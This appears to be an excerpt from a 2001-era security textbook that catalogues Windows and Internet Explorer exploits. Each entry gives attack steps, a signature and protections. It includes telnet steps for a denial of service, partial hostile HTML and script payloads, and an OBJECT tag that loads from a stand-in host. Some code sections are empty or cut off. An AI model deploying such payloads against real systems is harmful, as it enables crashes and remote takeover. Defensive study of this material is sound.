MSTask.exe, which usually listens on port TCP 1026, causes memory to be used if it is connected and random characters are sent to it After this connection, the machine would eventually freeze The only solution is to reboot MSTask.exe only permits connections through the local host Due

to this fact, most systems would have to originate the attack from the console A user connecting to the victim’s machine through Terminal

Server would have the same ability to exploit this vulnerability If Wingate

or Winproxy are installed on the victim’s system, the system becomes vulnerable for remote attackers because they can connect to the system’s

1026 TCP port through Wingate or Winproxy

How to Use the Exploit

The following are the steps an attacker would take to run this exploit:

1 Start telnet.exe

2 Menu->Connect->Remote System=127.0.0.1 , Port=1026

3 Press the ‘Connect’ button

4 When it is connects, type some random characters and press Enter

5 Close telnet.exe

Signature of the Attack

The main signature if this attack is high CPU utilization spikes until a

reboot is performed

How to Protect Against It

There are currently no available patches to fix this vulnerability Through implementing a policy of principle of least privilege and defense in depth, the impact can be minimized

Source Code/Pseudo Code

Because this exploit is trivial to run, there is no source code required If someone wanted to, it would be easy to write a Perl script to automate the steps

Additional Information

Additional information and the source code can be found at

www.securityfocus.com

Microsoft MSHTML.DLL Crash Vulnerability

This vulnerability involves how Javascript handles multiple window

objects If a window object is deleted after it receives data, and then it is re-initialized, the library will crash

Exploit Details

• Name: Microsoft MSHTML.DLL Crash Vulnerability

• Operating System: Microsoft Windows 98se, Microsoft Windows

98, Microsoft Windows 95, Microsoft Windows NT 4.0, and Microsoft Windows NT 2000

• Protocols/Services: Microsoft Internet Explorer 4.0 for Windows

NT 4.0, Microsoft Internet Explorer 4.0 for Windows 98, Microsoft Internet Explorer 4.0 for Windows 95, Microsoft Internet Explorer 4.0 for Windows 3.1, Microsoft Outlook 2000, Microsoft Outlook Express 5.5, Microsoft Internet Explorer 5.5, Microsoft Internet

Explorer 5.0.1 for Windows NT 4.0, Microsoft Internet Explorer 5.0.1 for Windows 98, Microsoft Internet Explorer 5.0.1 for Windows 95, Microsoft Internet Explorer 5.0.1 for Windows 2000, and Microsoft Internet Explorer 5.01

How the Exploit Works

The exploit works by deleting a windows object after it has received data from the attacker’s machine

How to Use the Exploit

A malicious user programs a web page to attack the end user when the user opens the page

Signature of the Attack

A web site that, when viewed, causes the local machine to freeze

How to Protect Against It

Currently, as of Spring 2001, there are no known patches to fix this

exploit Microsoft has acknowledged this and states that it will release a patch in the next service pack

Source Code/Pseudo Code

The following is the source code for this exploit:

<iframe id=test style="display:none"></iframe>

<script>

Larholm = {}; // Object literal

test.document.open(); // Stream data

2001 IIS 5.0 Allows File Viewing

This script allows remote users to gain access to the content of

/scrips/test.pl This has the possibility of giving away passwords in CGI

Exploit Details

• Name: 2001 IIS 5.0 allows viewing files using %3F+.htr

• Operating System: Windows 2000

• Protocols/Services: IIS 5.0 and TCP/IP

Signature of the Attack

IIS 5.0 with the File Fragmenting patch installed

How to Protect Against It

The best way to protect against this vulnerability is to uninstall the File fragmenting patch for IIS 5.0 or to remove the vulnerable Perl script

Source Code/Pseudo Code

If the target host is vulnerable, an attacker would just type the following URL into his browser to exploit the script:

Media Player 7 and IE Java Vulnerability

There is a security vulnerability in the Windows Media Player 7 application that is exploitable through IE and Java This exploit enables someone to read local files and browse local directories as well as execute arbitrary programs This could lead to a remote user taking full control over the victim’s computer

Exploit Details

• Name: Media Player 7 and IE Java vulnerability

• Operating System: Windows 95,98, 98se, 2000, NT

• Protocols/Services: IE Java, Windows Media Player 7

How the Exploit Works

Windows Media Player skins are installed in a commonly known directory with a commonly known name: “C:/Program files/Windows Media

Player/Skins/SKIN.WMZ”

The < IFRAME SRC=”wmp2.wmz”>< /IFRAME> will download wmp2.wmz and place it in “C:/Program files/Windows Media

How to Use the Exploit

Any HTML editor can be used to make the hostile web site Create a page with the given code When a user links to that page, the vulnerability will

be exploited

Signature of the Attack

A sign of this exploit is when programs activate that the user did not

intentionally start

How to Protect Against It

The best way to prevent against this attack is to disable Java, which is not always possible As you can see with a lot of these new exploits, there is not a lot that can be done except to make sure all your systems and

networking components implement a principle of least privilege and that you have defense in depth mechanisms in place protecting your corporate assets

Source Code/Pseudo Code

The following is the source code that an attacker would put on a hostile web page and wait for a victim to connect:

IE 5.x/Outlook Allows Executing Arbitrary Programs

There is a security vulnerability in IE 5.x/Outlook/Outlook Express, which allows the execution of arbitrary programs using chm files This will

reveal the location of the temporary Internet file folder on the victim’s machine This can lead to an attacker taking full control over the victim’s computer

Exploit Details

• Name: IE 5.x/Outlook allows executing arbitrary programs using

.chm files and the temporary Internet file folder

• Operating System: Windows 95, 98, 98se, NT, 2000

• Protocols/Services: IE 5.x/Outlook/Outlook Express

How the Exploit Works

<OBJECT DATA=“http://SOMEHOST.COM/chmtemp.html”

TYPE=“text/html” WIDTH=200 HEIGHT=200> may reveal one of the temporary internet files folders through the document’s URL (where

SOMEHOST.COM is a web server or alias that is different from the web

server from which the HTML page is loaded) After a temporary Internet file folder name is known, it is possible to cache a chm in any temporary Internet file folder and then use window.showHelp() to execute it

Signature of the Attack